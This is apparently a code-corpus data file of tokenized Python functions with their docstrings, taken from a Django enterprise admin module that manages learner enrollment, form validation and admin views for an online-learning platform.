{"signature": "@classmethod<EOL><INDENT>def get_pending_enrollment_message(cls, pending_users, enrolled_in):<DEDENT>", "body": "pending_emails = [pending_user.user_email for pending_user in pending_users]<EOL>return (<EOL>'<STR_LIT>',<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>platform_name=settings.PLATFORM_NAME,<EOL>enrolled_in=enrolled_in,<EOL>pending_email_list='<STR_LIT:U+002CU+0020>'.join(pending_emails),<EOL>)<EOL>)<EOL>", "docstring": "Create message for the users who were enrolled in a course or program.\n\nArgs:\n    users: An iterable of PendingEnterpriseCustomerUsers who were successfully linked with a pending enrollment\n    enrolled_in (str): A string identifier for the course or program the pending users were linked to\n\nReturns:\n    tuple: A 2-tuple containing a message type and message text", "id": "f16062:c2:m16"}
{"signature": "@classmethod<EOL><INDENT>def _enroll_users(<EOL>cls,<EOL>request,<EOL>enterprise_customer,<EOL>emails,<EOL>mode,<EOL>course_id=None,<EOL>program_details=None,<EOL>notify=True<EOL>):<DEDENT>", "body": "pending_messages = []<EOL>if course_id:<EOL><INDENT>succeeded, pending, failed = cls.enroll_users_in_course(<EOL>enterprise_customer=enterprise_customer,<EOL>course_id=course_id,<EOL>course_mode=mode,<EOL>emails=emails,<EOL>)<EOL>all_successes = succeeded + pending<EOL>if notify:<EOL><INDENT>enterprise_customer.notify_enrolled_learners(<EOL>catalog_api_user=request.user,<EOL>course_id=course_id,<EOL>users=all_successes,<EOL>)<EOL><DEDENT>if succeeded:<EOL><INDENT>pending_messages.append(cls.get_success_enrollment_message(succeeded, course_id))<EOL><DEDENT>if failed:<EOL><INDENT>pending_messages.append(cls.get_failed_enrollment_message(failed, course_id))<EOL><DEDENT>if pending:<EOL><INDENT>pending_messages.append(cls.get_pending_enrollment_message(pending, course_id))<EOL><DEDENT><DEDENT>if program_details:<EOL><INDENT>succeeded, pending, failed = cls.enroll_users_in_program(<EOL>enterprise_customer=enterprise_customer,<EOL>program_details=program_details,<EOL>course_mode=mode,<EOL>emails=emails,<EOL>)<EOL>all_successes = succeeded + pending<EOL>if notify:<EOL><INDENT>cls.notify_program_learners(<EOL>enterprise_customer=enterprise_customer,<EOL>program_details=program_details,<EOL>users=all_successes<EOL>)<EOL><DEDENT>program_identifier = program_details.get('<STR_LIT:title>', program_details.get('<STR_LIT>', _('<STR_LIT>')))<EOL>if succeeded:<EOL><INDENT>pending_messages.append(cls.get_success_enrollment_message(succeeded, program_identifier))<EOL><DEDENT>if failed:<EOL><INDENT>pending_messages.append(cls.get_failed_enrollment_message(failed, program_identifier))<EOL><DEDENT>if pending:<EOL><INDENT>pending_messages.append(cls.get_pending_enrollment_message(pending, program_identifier))<EOL><DEDENT><DEDENT>cls.send_messages(request, pending_messages)<EOL>", "docstring": "Enroll the users with the given email addresses to the courses specified, either specifically or by program.\n\nArgs:\n    cls (type): The EnterpriseCustomerManageLearnersView class itself\n    request: The HTTP request the enrollment is being created by\n    enterprise_customer: The instance of EnterpriseCustomer whose attached users we're enrolling\n    emails: An iterable of strings containing email addresses to enroll in a course\n    mode: The enrollment mode the users will be enrolled in the course with\n    course_id: The ID of the course in which we want to enroll\n    program_details: Details about a program in which we want to enroll\n    notify: Whether to notify (by email) the users that have been enrolled", "id": "f16062:c2:m17"}
{"signature": "def get(self, request, customer_uuid):", "body": "context = self._build_context(request, customer_uuid)<EOL>manage_learners_form = ManageLearnersForm(<EOL>user=request.user,<EOL>enterprise_customer=context[self.ContextParameters.ENTERPRISE_CUSTOMER]<EOL>)<EOL>context.update({self.ContextParameters.MANAGE_LEARNERS_FORM: manage_learners_form})<EOL>return render(request, self.template, context)<EOL>", "docstring": "Handle GET request - render linked learners list and \"Link learner\" form.\n\nArguments:\n    request (django.http.request.HttpRequest): Request instance\n    customer_uuid (str): Enterprise Customer UUID\n\nReturns:\n    django.http.response.HttpResponse: HttpResponse", "id": "f16062:c2:m18"}
{"signature": "def post(self, request, customer_uuid):", "body": "enterprise_customer = EnterpriseCustomer.objects.get(uuid=customer_uuid)  <EOL>manage_learners_form = ManageLearnersForm(<EOL>request.POST,<EOL>request.FILES,<EOL>user=request.user,<EOL>enterprise_customer=enterprise_customer<EOL>)<EOL>if manage_learners_form.is_valid():<EOL><INDENT>email_field_as_bulk_input = split_usernames_and_emails(<EOL>manage_learners_form.cleaned_data[ManageLearnersForm.Fields.EMAIL_OR_USERNAME]<EOL>)<EOL>is_bulk_entry = len(email_field_as_bulk_input) > <NUM_LIT:1><EOL>mode = manage_learners_form.cleaned_data[ManageLearnersForm.Fields.MODE]<EOL>if mode == ManageLearnersForm.Modes.MODE_SINGULAR and not is_bulk_entry:<EOL><INDENT>linked_learners = self._handle_singular(enterprise_customer, manage_learners_form)<EOL><DEDENT>elif mode == ManageLearnersForm.Modes.MODE_SINGULAR:<EOL><INDENT>linked_learners = self._handle_bulk_upload(<EOL>enterprise_customer,<EOL>manage_learners_form,<EOL>request,<EOL>email_list=email_field_as_bulk_input<EOL>)<EOL><DEDENT>else:<EOL><INDENT>linked_learners = self._handle_bulk_upload(enterprise_customer, manage_learners_form, request)<EOL><DEDENT><DEDENT>if manage_learners_form.is_valid():<EOL><INDENT>course_details = manage_learners_form.cleaned_data.get(ManageLearnersForm.Fields.COURSE)<EOL>program_details = manage_learners_form.cleaned_data.get(ManageLearnersForm.Fields.PROGRAM)<EOL>notification_type = manage_learners_form.cleaned_data.get(ManageLearnersForm.Fields.NOTIFY)<EOL>notify = notification_type == ManageLearnersForm.NotificationTypes.BY_EMAIL<EOL>course_id = None<EOL>if course_details:<EOL><INDENT>course_id = course_details['<STR_LIT>']<EOL><DEDENT>if course_id or program_details:<EOL><INDENT>course_mode = manage_learners_form.cleaned_data[ManageLearnersForm.Fields.COURSE_MODE]<EOL>self._enroll_users(<EOL>request=request,<EOL>enterprise_customer=enterprise_customer,<EOL>emails=linked_learners,<EOL>mode=course_mode,<EOL>course_id=course_id,<EOL>program_details=program_details,<EOL>notify=notify,<EOL>)<EOL><DEDENT>manage_learners_url = reverse(\"<STR_LIT>\" + UrlNames.MANAGE_LEARNERS, args=(customer_uuid,))<EOL>search_keyword = self.get_search_keyword(request)<EOL>if search_keyword:<EOL><INDENT>manage_learners_url = manage_learners_url + \"<STR_LIT>\" + search_keyword<EOL><DEDENT>return HttpResponseRedirect(manage_learners_url)<EOL><DEDENT>context = self._build_context(request, customer_uuid)<EOL>context.update({self.ContextParameters.MANAGE_LEARNERS_FORM: manage_learners_form})<EOL>return render(request, self.template, context)<EOL>", "docstring": "Handle POST request - handle form submissions.\n\nArguments:\n    request (django.http.request.HttpRequest): Request instance\n    customer_uuid (str): Enterprise Customer UUID\n\nReturns:\n    django.http.response.HttpResponse: HttpResponse", "id": "f16062:c2:m19"}
{"signature": "def delete(self, request, customer_uuid):", "body": "<EOL>enterprise_customer = EnterpriseCustomer.objects.get(uuid=customer_uuid)  <EOL>email_to_unlink = request.GET[\"<STR_LIT>\"]<EOL>try:<EOL><INDENT>EnterpriseCustomerUser.objects.unlink_user(<EOL>enterprise_customer=enterprise_customer, user_email=email_to_unlink<EOL>)<EOL><DEDENT>except (EnterpriseCustomerUser.DoesNotExist, PendingEnterpriseCustomerUser.DoesNotExist):<EOL><INDENT>message = _(\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(<EOL>email=email_to_unlink, ec_name=enterprise_customer.name)<EOL>return HttpResponse(message, content_type=\"<STR_LIT:application/json>\", status=<NUM_LIT>)<EOL><DEDENT>return HttpResponse(<EOL>json.dumps({}),<EOL>content_type=\"<STR_LIT:application/json>\"<EOL>)<EOL>", "docstring": "Handle DELETE request - handle unlinking learner.\n\nArguments:\n    request (django.http.request.HttpRequest): Request instance\n    customer_uuid (str): Enterprise Customer UUID\n\nReturns:\n    django.http.response.HttpResponse: HttpResponse", "id": "f16062:c2:m20"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "user = kwargs.pop('<STR_LIT:user>', None)<EOL>self._user = user<EOL>self._enterprise_customer = kwargs.pop('<STR_LIT>', None)<EOL>super(ManageLearnersForm, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initializes form: puts current user and enterprise_customer into a\nfield for later access.\n\nArguments:\n    user (django.contrib.auth.models.User): current user\n    enterprise_customer (enterprise.models.EnterpriseCustomer): current customer", "id": "f16063:c0:m0"}
{"signature": "def clean_email_or_username(self):", "body": "email_or_username = self.cleaned_data[self.Fields.EMAIL_OR_USERNAME].strip()<EOL>if not email_or_username:<EOL><INDENT>return email_or_username<EOL><DEDENT>email = email_or_username__to__email(email_or_username)<EOL>bulk_entry = len(split_usernames_and_emails(email)) > <NUM_LIT:1><EOL>if bulk_entry:<EOL><INDENT>for email in split_usernames_and_emails(email):<EOL><INDENT>validate_email_to_link(<EOL>email,<EOL>None,<EOL>ValidationMessages.INVALID_EMAIL_OR_USERNAME,<EOL>ignore_existing=True<EOL>)<EOL><DEDENT>email = email_or_username<EOL><DEDENT>else:<EOL><INDENT>validate_email_to_link(<EOL>email,<EOL>email_or_username,<EOL>ValidationMessages.INVALID_EMAIL_OR_USERNAME,<EOL>ignore_existing=True<EOL>)<EOL><DEDENT>return email<EOL>", "docstring": "Clean email form field\n\nReturns:\n    str: the cleaned value, converted to an email address (or an empty string)", "id": "f16063:c0:m1"}
{"signature": "def clean_course(self):", "body": "course_id = self.cleaned_data[self.Fields.COURSE].strip()<EOL>if not course_id:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>client = EnrollmentApiClient()<EOL>return client.get_course_details(course_id)<EOL><DEDENT>except (HttpClientError, HttpServerError):<EOL><INDENT>raise ValidationError(ValidationMessages.INVALID_COURSE_ID.format(course_id=course_id))<EOL><DEDENT>", "docstring": "Verify course ID and retrieve course details.", "id": "f16063:c0:m2"}
{"signature": "def clean_program(self):", "body": "program_id = self.cleaned_data[self.Fields.PROGRAM].strip()<EOL>if not program_id:<EOL><INDENT>return None<EOL><DEDENT>try:<EOL><INDENT>client = CourseCatalogApiClient(self._user, self._enterprise_customer.site)<EOL>program = client.get_program_by_uuid(program_id) or client.get_program_by_title(program_id)<EOL><DEDENT>except MultipleProgramMatchError as exc:<EOL><INDENT>raise ValidationError(ValidationMessages.MULTIPLE_PROGRAM_MATCH.format(program_count=exc.programs_matched))<EOL><DEDENT>except (HttpClientError, HttpServerError):<EOL><INDENT>raise ValidationError(ValidationMessages.INVALID_PROGRAM_ID.format(program_id=program_id))<EOL><DEDENT>if not program:<EOL><INDENT>raise ValidationError(ValidationMessages.INVALID_PROGRAM_ID.format(program_id=program_id))<EOL><DEDENT>if program['<STR_LIT:status>'] != ProgramStatuses.ACTIVE:<EOL><INDENT>raise ValidationError(<EOL>ValidationMessages.PROGRAM_IS_INACTIVE.format(program_id=program_id, status=program['<STR_LIT:status>'])<EOL>)<EOL><DEDENT>return program<EOL>", "docstring": "Clean program.\n\nTry obtaining program treating form value as program UUID or title.\n\nReturns:\n    dict: Program information if program found", "id": "f16063:c0:m3"}
{"signature": "def clean_notify(self):", "body": "return self.cleaned_data.get(self.Fields.NOTIFY, self.NotificationTypes.DEFAULT)<EOL>", "docstring": "Clean the notify_on_enrollment field.", "id": "f16063:c0:m4"}
{"signature": "def clean(self):", "body": "cleaned_data = super(ManageLearnersForm, self).clean()<EOL>email_or_username = self.data.get(self.Fields.EMAIL_OR_USERNAME, None)<EOL>bulk_upload_csv = self.files.get(self.Fields.BULK_UPLOAD, None)<EOL>if not email_or_username and not bulk_upload_csv:<EOL><INDENT>raise ValidationError(ValidationMessages.NO_FIELDS_SPECIFIED)<EOL><DEDENT>if email_or_username and bulk_upload_csv:<EOL><INDENT>raise ValidationError(ValidationMessages.BOTH_FIELDS_SPECIFIED)<EOL><DEDENT>if email_or_username:<EOL><INDENT>mode = self.Modes.MODE_SINGULAR<EOL><DEDENT>else:<EOL><INDENT>mode = self.Modes.MODE_BULK<EOL><DEDENT>cleaned_data[self.Fields.MODE] = mode<EOL>cleaned_data[self.Fields.NOTIFY] = self.clean_notify()<EOL>self._validate_course()<EOL>self._validate_program()<EOL>if self.data.get(self.Fields.PROGRAM, None) and self.data.get(self.Fields.COURSE, None):<EOL><INDENT>raise ValidationError(ValidationMessages.COURSE_AND_PROGRAM_ERROR)<EOL><DEDENT>return cleaned_data<EOL>", "docstring": "Clean fields that depend on each other.\n\nIn this case, the form can be used to link single user or bulk link multiple users. These are mutually\nexclusive modes, so this method checks that only one field is passed.", "id": "f16063:c0:m5"}
{"signature": "def _validate_course(self):", "body": "<EOL>course_details = self.cleaned_data.get(self.Fields.COURSE)<EOL>if course_details:<EOL><INDENT>course_mode = self.cleaned_data.get(self.Fields.COURSE_MODE)<EOL>if not course_mode:<EOL><INDENT>raise ValidationError(ValidationMessages.COURSE_WITHOUT_COURSE_MODE)<EOL><DEDENT>valid_course_modes = course_details[\"<STR_LIT>\"]<EOL>if all(course_mode != mode[\"<STR_LIT>\"] for mode in valid_course_modes):<EOL><INDENT>error = ValidationError(ValidationMessages.COURSE_MODE_INVALID_FOR_COURSE.format(<EOL>course_mode=course_mode,<EOL>course_id=course_details[\"<STR_LIT>\"],<EOL>))<EOL>raise ValidationError({self.Fields.COURSE_MODE: error})<EOL><DEDENT><DEDENT>", "docstring": "Verify that the selected mode is valid for the given course .", "id": "f16063:c0:m6"}
{"signature": "def _validate_program(self):", "body": "program = self.cleaned_data.get(self.Fields.PROGRAM)<EOL>if not program:<EOL><INDENT>return<EOL><DEDENT>course_runs = get_course_runs_from_program(program)<EOL>try:<EOL><INDENT>client = CourseCatalogApiClient(self._user, self._enterprise_customer.site)<EOL>available_modes = client.get_common_course_modes(course_runs)<EOL>course_mode = self.cleaned_data.get(self.Fields.COURSE_MODE)<EOL><DEDENT>except (HttpClientError, HttpServerError):<EOL><INDENT>raise ValidationError(<EOL>ValidationMessages.FAILED_TO_OBTAIN_COURSE_MODES.format(program_title=program.get(\"<STR_LIT:title>\"))<EOL>)<EOL><DEDENT>if not course_mode:<EOL><INDENT>raise ValidationError(ValidationMessages.COURSE_WITHOUT_COURSE_MODE)<EOL><DEDENT>if course_mode not in available_modes:<EOL><INDENT>raise ValidationError(ValidationMessages.COURSE_MODE_NOT_AVAILABLE.format(<EOL>mode=course_mode, program_title=program.get(\"<STR_LIT:title>\"), modes=\"<STR_LIT:U+002CU+0020>\".join(available_modes)<EOL>))<EOL><DEDENT>", "docstring": "Verify that selected mode is available for program and all courses in the program", "id": "f16063:c0:m7"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(EnterpriseCustomerAdminForm, self).__init__(*args, **kwargs)<EOL>self.fields['<STR_LIT>'] = forms.ChoiceField(<EOL>choices=self.get_catalog_options(),<EOL>required=False,<EOL>help_text='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>catalog_admin_change_url=utils.get_catalog_admin_url_template(mode='<STR_LIT>'),<EOL>catalog_admin_add_url=utils.get_catalog_admin_url_template(mode='<STR_LIT>'))<EOL>)<EOL>", "docstring": "Initialize the form.\n\nSubstitute a ChoiceField in for the catalog field that would\nnormally be set up as a plain number entry field.", "id": "f16063:c1:m0"}
{"signature": "def get_catalog_options(self):", "body": "<EOL>if hasattr(self.instance, '<STR_LIT>'):<EOL><INDENT>catalog_api = CourseCatalogApiClient(self.user, self.instance.site)<EOL><DEDENT>else:<EOL><INDENT>catalog_api = CourseCatalogApiClient(self.user)<EOL><DEDENT>catalogs = catalog_api.get_all_catalogs()<EOL>catalogs = sorted(catalogs, key=lambda catalog: catalog.get('<STR_LIT:name>', '<STR_LIT>').lower())<EOL>return BLANK_CHOICE_DASH + [<EOL>(catalog['<STR_LIT:id>'], catalog['<STR_LIT:name>'],)<EOL>for catalog in catalogs<EOL>]<EOL>", "docstring": "Retrieve a list of catalog ID and name pairs.\n\nOnce retrieved, these name pairs can be used directly as a value\nfor the `choices` argument to a ChoiceField.", "id": "f16063:c1:m1"}
{"signature": "def clean(self):", "body": "cleaned_data = super(EnterpriseCustomerAdminForm, self).clean()<EOL>if '<STR_LIT>' in cleaned_data and not cleaned_data['<STR_LIT>']:<EOL><INDENT>cleaned_data['<STR_LIT>'] = None<EOL><DEDENT>return cleaned_data<EOL>", "docstring": "Clean form fields prior to database entry.\n\nIn this case, the major cleaning operation is substituting a None value for a blank\nvalue in the Catalog field.", "id": "f16063:c1:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(EnterpriseCustomerIdentityProviderAdminForm, self).__init__(*args, **kwargs)<EOL>idp_choices = utils.get_idp_choices()<EOL>help_text = '<STR_LIT>'<EOL>if saml_provider_configuration:<EOL><INDENT>provider_id = self.instance.provider_id<EOL>url = reverse('<STR_LIT>'.format(<EOL>saml_provider_configuration._meta.app_label,<EOL>saml_provider_configuration._meta.model_name))<EOL>if provider_id:<EOL><INDENT>identity_provider = utils.get_identity_provider(provider_id)<EOL>if identity_provider:<EOL><INDENT>update_url = url + '<STR_LIT>'.format(identity_provider.pk)<EOL>help_text = '<STR_LIT>'.format(update_url=update_url, identity_provider=identity_provider.name)<EOL><DEDENT>else:<EOL><INDENT>help_text += '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>help_text += '<STR_LIT>''<STR_LIT>'.format(add_url=url)<EOL><DEDENT><DEDENT>if idp_choices is not None:<EOL><INDENT>self.fields['<STR_LIT>'] = forms.TypedChoiceField(<EOL>choices=idp_choices,<EOL>label=_('<STR_LIT>'),<EOL>help_text=mark_safe(help_text),<EOL>)<EOL><DEDENT>", "docstring": "Initialize the form.\n\nSubstitutes CharField with TypedChoiceField for the provider_id field.", "id": "f16063:c2:m0"}
{"signature": "def clean(self):", "body": "super(EnterpriseCustomerIdentityProviderAdminForm, self).clean()<EOL>provider_id = self.cleaned_data.get('<STR_LIT>', None)<EOL>enterprise_customer = self.cleaned_data.get('<STR_LIT>', None)<EOL>if provider_id is None or enterprise_customer is None:<EOL><INDENT>return<EOL><DEDENT>identity_provider = utils.get_identity_provider(provider_id)<EOL>if not identity_provider:<EOL><INDENT>message = _(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>)<EOL>logger.exception(message)<EOL>raise ValidationError(message)<EOL><DEDENT>if identity_provider and identity_provider.site != enterprise_customer.site:<EOL><INDENT>raise ValidationError(<EOL>_(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>).format(<EOL>enterprise_customer_site=enterprise_customer.site,<EOL>identity_provider_site=identity_provider.site,<EOL>),<EOL>)<EOL><DEDENT>", "docstring": "Final validations of model fields.\n\n1. Validate that selected site for enterprise customer matches with the selected identity provider's site.", "id": "f16063:c2:m1"}
{"signature": "def clean(self):", "body": "cleaned_data = super(EnterpriseCustomerReportingConfigAdminForm, self).clean()<EOL>report_customer = cleaned_data.get('<STR_LIT>')<EOL>invalid_catalogs = [<EOL>'<STR_LIT>'.format(catalog.title, catalog.uuid)<EOL>for catalog in cleaned_data.get('<STR_LIT>')<EOL>if catalog.enterprise_customer != report_customer<EOL>]<EOL>if invalid_catalogs:<EOL><INDENT>message = _(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>).format(<EOL>enterprise_customer=report_customer,<EOL>invalid_catalogs=invalid_catalogs,<EOL>)<EOL>self.add_error('<STR_LIT>', message)<EOL><DEDENT>", "docstring": "Override of clean method to perform additional validation", "id": "f16063:c3:m0"}
{"signature": "def clean_channel_worker_username(self):", "body": "channel_worker_username = self.cleaned_data['<STR_LIT>'].strip()<EOL>try:<EOL><INDENT>User.objects.get(username=channel_worker_username)<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>raise ValidationError(<EOL>ValidationMessages.INVALID_CHANNEL_WORKER.format(<EOL>channel_worker_username=channel_worker_username<EOL>)<EOL>)<EOL><DEDENT>return channel_worker_username<EOL>", "docstring": "Clean enterprise channel worker user form field\n\nReturns:\n    str: the cleaned value of channel user username for transmitting courses metadata.", "id": "f16063:c4:m0"}
{"signature": "def ecommerce_coupon_url(self, instance):", "body": "if not instance.entitlement_id:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>return format_html(<EOL>'<STR_LIT>',<EOL>base_url=settings.ECOMMERCE_PUBLIC_URL_ROOT, id=instance.entitlement_id<EOL>)<EOL>", "docstring": "Instance is EnterpriseCustomer. Return e-commerce coupon urls.", "id": "f16064:c2:m0"}
{"signature": "def has_ecommerce_coupons(self, instance):", "body": "return instance.enterprise_customer_entitlements.exists()<EOL>", "docstring": "Return True if provded enterprise customer has ecommerce coupons.\n\nArguments:\n    instance (enterprise.models.EnterpriseCustomer): `EnterpriseCustomer` model instance", "id": "f16064:c5:m0"}
{"signature": "def get_form(self, request, obj=None, **kwargs):", "body": "form = super(EnterpriseCustomerAdmin, self).get_form(request, obj, **kwargs)<EOL>form.user = request.user<EOL>return form<EOL>", "docstring": "Retrieve the appropriate form to use, saving the request user\ninto the form for use in loading catalog details", "id": "f16064:c5:m1"}
{"signature": "def enable_dsc(self, instance):", "body": "return instance.enable_data_sharing_consent<EOL>", "docstring": "Return True if data sharing consent is enabled for EnterpriseCustomer.\n\nArguments:\n    instance (enterprise.models.EnterpriseCustomer): `EnterpriseCustomer` model instance", "id": "f16064:c5:m2"}
{"signature": "def has_logo(self, instance):", "body": "has_logo = False<EOL>if hasattr(instance, '<STR_LIT>') and instance.branding_configuration.logo:<EOL><INDENT>has_logo = True<EOL><DEDENT>return has_logo<EOL>", "docstring": "Return True if EnterpriseCustomer has a logo.\n\nArguments:\n    instance (enterprise.models.EnterpriseCustomer): `EnterpriseCustomer` model instance", "id": "f16064:c5:m3"}
{"signature": "def has_identity_provider(self, instance):", "body": "return hasattr(instance, '<STR_LIT>')<EOL>", "docstring": "Return True if EnterpriseCustomer has related identity provider.\n\nArguments:\n    instance (enterprise.models.EnterpriseCustomer): `EnterpriseCustomer` model instance", "id": "f16064:c5:m4"}
{"signature": "def has_enterprise_catalog(self, instance):", "body": "return instance.catalog is not None<EOL>", "docstring": "Return True if EnterpriseCustomer has catalog id with a link to catalog details page.\n\nArguments:\n    instance (enterprise.models.EnterpriseCustomer): `EnterpriseCustomer` model instance", "id": "f16064:c5:m5"}
{"signature": "def manage_learners(self, request, obj):  ", "body": "<EOL>manage_learners_url = reverse(\"<STR_LIT>\" + UrlNames.MANAGE_LEARNERS, args=(obj.uuid,))<EOL>return HttpResponseRedirect(manage_learners_url)<EOL>", "docstring": "Object tool handler method - redirects to \"Manage Learners\" view", "id": "f16064:c5:m6"}
{"signature": "def transmit_courses_metadata(self, request, obj):  ", "body": "<EOL>transmit_courses_metadata_url = reverse('<STR_LIT>' + UrlNames.TRANSMIT_COURSES_METADATA, args=(obj.uuid,))<EOL>return HttpResponseRedirect(transmit_courses_metadata_url)<EOL>", "docstring": "Object tool handler method - redirects to `Transmit Courses Metadata` view.", "id": "f16064:c5:m7"}
{"signature": "def get_urls(self):", "body": "customer_urls = [<EOL>url(<EOL>r\"<STR_LIT>\",<EOL>self.admin_site.admin_view(EnterpriseCustomerManageLearnersView.as_view()),<EOL>name=UrlNames.MANAGE_LEARNERS<EOL>),<EOL>url(<EOL>r\"<STR_LIT>\",<EOL>self.admin_site.admin_view(EnterpriseCustomerTransmitCoursesView.as_view()),<EOL>name=UrlNames.TRANSMIT_COURSES_METADATA<EOL>)<EOL>]<EOL>return customer_urls + super(EnterpriseCustomerAdmin, self).get_urls()<EOL>", "docstring": "Returns the additional urls used by the custom object tools.", "id": "f16064:c5:m8"}
{"signature": "def enrolled_courses(self, enterprise_customer_user):", "body": "courses_string = mark_safe(self.get_enrolled_course_string(enterprise_customer_user))<EOL>return courses_string or '<STR_LIT:None>'<EOL>", "docstring": "Return a string representing the courses a given EnterpriseCustomerUser is enrolled in\n\nArgs:\n    enterprise_customer_user: The instance of EnterpriseCustomerUser\n        being rendered with this admin form.", "id": "f16064:c6:m1"}
{"signature": "def get_readonly_fields(self, request, obj=None):", "body": "readonly_fields = super(EnterpriseCustomerUserAdmin, self).get_readonly_fields(request, obj=obj)<EOL>if obj:  <EOL><INDENT>return readonly_fields + tuple(get_all_field_names(self.model))<EOL><DEDENT>return readonly_fields<EOL>", "docstring": "Make all fields readonly when editing existing model.", "id": "f16064:c6:m2"}
{"signature": "def get_enrolled_course_string(self, enterprise_customer_user):", "body": "enrollment_client = EnrollmentApiClient()<EOL>enrolled_courses = enrollment_client.get_enrolled_courses(enterprise_customer_user.username)<EOL>course_details = []<EOL>courses_client = CourseApiClient()<EOL>for course in enrolled_courses:<EOL><INDENT>course_id = course['<STR_LIT>']['<STR_LIT>']<EOL>name = courses_client.get_course_details(course_id)['<STR_LIT:name>']<EOL>course_details.append({'<STR_LIT>': course_id, '<STR_LIT>': name})<EOL><DEDENT>template = '<STR_LIT>'<EOL>joiner = '<STR_LIT>'<EOL>return joiner.join(<EOL>template.format(<EOL>url=reverse('<STR_LIT>', args=[course['<STR_LIT>']]),<EOL>course_name=course['<STR_LIT>'],<EOL>)<EOL>for course in course_details<EOL>)<EOL>", "docstring": "Get an HTML string representing the courses the user is enrolled in.", "id": "f16064:c6:m3"}
{"signature": "def get_urls(self):", "body": "preview_urls = [<EOL>url(<EOL>r\"<STR_LIT>\",<EOL>self.admin_site.admin_view(TemplatePreviewView.as_view()),<EOL>name=UrlNames.PREVIEW_EMAIL_TEMPLATE<EOL>)<EOL>]<EOL>return preview_urls + super(EnrollmentNotificationEmailTemplateAdmin, self).get_urls()<EOL>", "docstring": "Returns the additional urls used by the custom object tools.", "id": "f16064:c8:m0"}
{"signature": "def preview(self, obj, preview_type):", "body": "<EOL>preview_url = reverse(\"<STR_LIT>\" + UrlNames.PREVIEW_EMAIL_TEMPLATE, args=(obj.pk, preview_type))<EOL>return HttpResponseRedirect(preview_url)<EOL>", "docstring": "Object tool handler method - redirects to \"Preview\" view", "id": "f16064:c8:m1"}
{"signature": "def preview_as_course(self, request, obj):  ", "body": "return self.preview(obj, '<STR_LIT>')<EOL>", "docstring": "Redirect to preview the HTML template in the context of a course.", "id": "f16064:c8:m2"}
{"signature": "def preview_as_program(self, request, obj):  ", "body": "return self.preview(obj, '<STR_LIT>')<EOL>", "docstring": "Redirect to preview the HTML template in the context of a program.", "id": "f16064:c8:m3"}
{"signature": "def has_add_permission(self, request):", "body": "return False<EOL>", "docstring": "Disable add permission for EnterpriseCourseEnrollment.", "id": "f16064:c9:m0"}
{"signature": "def has_delete_permission(self, request, obj=None):", "body": "return False<EOL>", "docstring": "Disable deletion for EnterpriseCourseEnrollment.", "id": "f16064:c9:m1"}
{"signature": "def has_add_permission(self, request):", "body": "return False<EOL>", "docstring": "Disable add permission for PendingEnrollment.", "id": "f16064:c10:m0"}
{"signature": "def has_delete_permission(self, request, obj=None):", "body": "return False<EOL>", "docstring": "Disable deletion for PendingEnrollment.", "id": "f16064:c10:m1"}
{"signature": "def discovery_query_url(self, obj):", "body": "if CatalogIntegration is None:<EOL><INDENT>raise NotConnectedToOpenEdX(<EOL>_('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>)<EOL><DEDENT>discovery_root_url = CatalogIntegration.current().get_internal_api_url()<EOL>disc_url = '<STR_LIT>'.format(<EOL>discovery_root_url=discovery_root_url,<EOL>search_all_endpoint='<STR_LIT>',<EOL>query_string=urlencode(obj.content_filter, doseq=True)<EOL>)<EOL>return format_html(<EOL>'<STR_LIT>',<EOL>url=disc_url<EOL>)<EOL>", "docstring": "Return discovery url for preview.", "id": "f16064:c11:m0"}
{"signature": "def uuid_nowrap(self, obj):", "body": "return format_html('<STR_LIT>'.format(uuid=obj.uuid))<EOL>", "docstring": "Inject html for disabling wrap for uuid", "id": "f16064:c11:m1"}
{"signature": "def get_fields(self, request, obj=None):", "body": "fields = list(super(EnterpriseCustomerReportingConfigurationAdmin, self).get_fields(request, obj))<EOL>if obj:<EOL><INDENT>return [f for f in fields if f not in {'<STR_LIT>', '<STR_LIT>'}]<EOL><DEDENT>return fields<EOL>", "docstring": "Return the fields that should be displayed on the admin form.", "id": "f16064:c12:m0"}
{"signature": "def parse_csv(file_stream, expected_columns=None):", "body": "reader = unicodecsv.DictReader(file_stream, encoding=\"<STR_LIT:utf-8>\")<EOL>if expected_columns and set(expected_columns) - set(reader.fieldnames):<EOL><INDENT>raise ValidationError(ValidationMessages.MISSING_EXPECTED_COLUMNS.format(<EOL>expected_columns=\"<STR_LIT:U+002CU+0020>\".join(expected_columns), actual_columns=\"<STR_LIT:U+002CU+0020>\".join(reader.fieldnames)<EOL>))<EOL><DEDENT>for row in reader:<EOL><INDENT>yield row<EOL><DEDENT>", "docstring": "Parse csv file and return a stream of dictionaries representing each row.\n\nFirst line of CSV file must contain column headers.\n\nArguments:\n     file_stream: input file\n     expected_columns (set[unicode]): columns that are expected to be present\n\nYields:\n    dict: CSV line parsed into a dictionary.", "id": "f16065:m0"}
{"signature": "def email_or_username__to__email(email_or_username):", "body": "try:<EOL><INDENT>user = User.objects.get(username=email_or_username)<EOL>return user.email<EOL><DEDENT>except User.DoesNotExist:<EOL><INDENT>return email_or_username<EOL><DEDENT>", "docstring": "Convert email_or_username to email.\n\nReturns:\n    str: If `email_or_username` was a username returns user's email, otherwise assumes it was an email and returns\n         as is.", "id": "f16065:m1"}
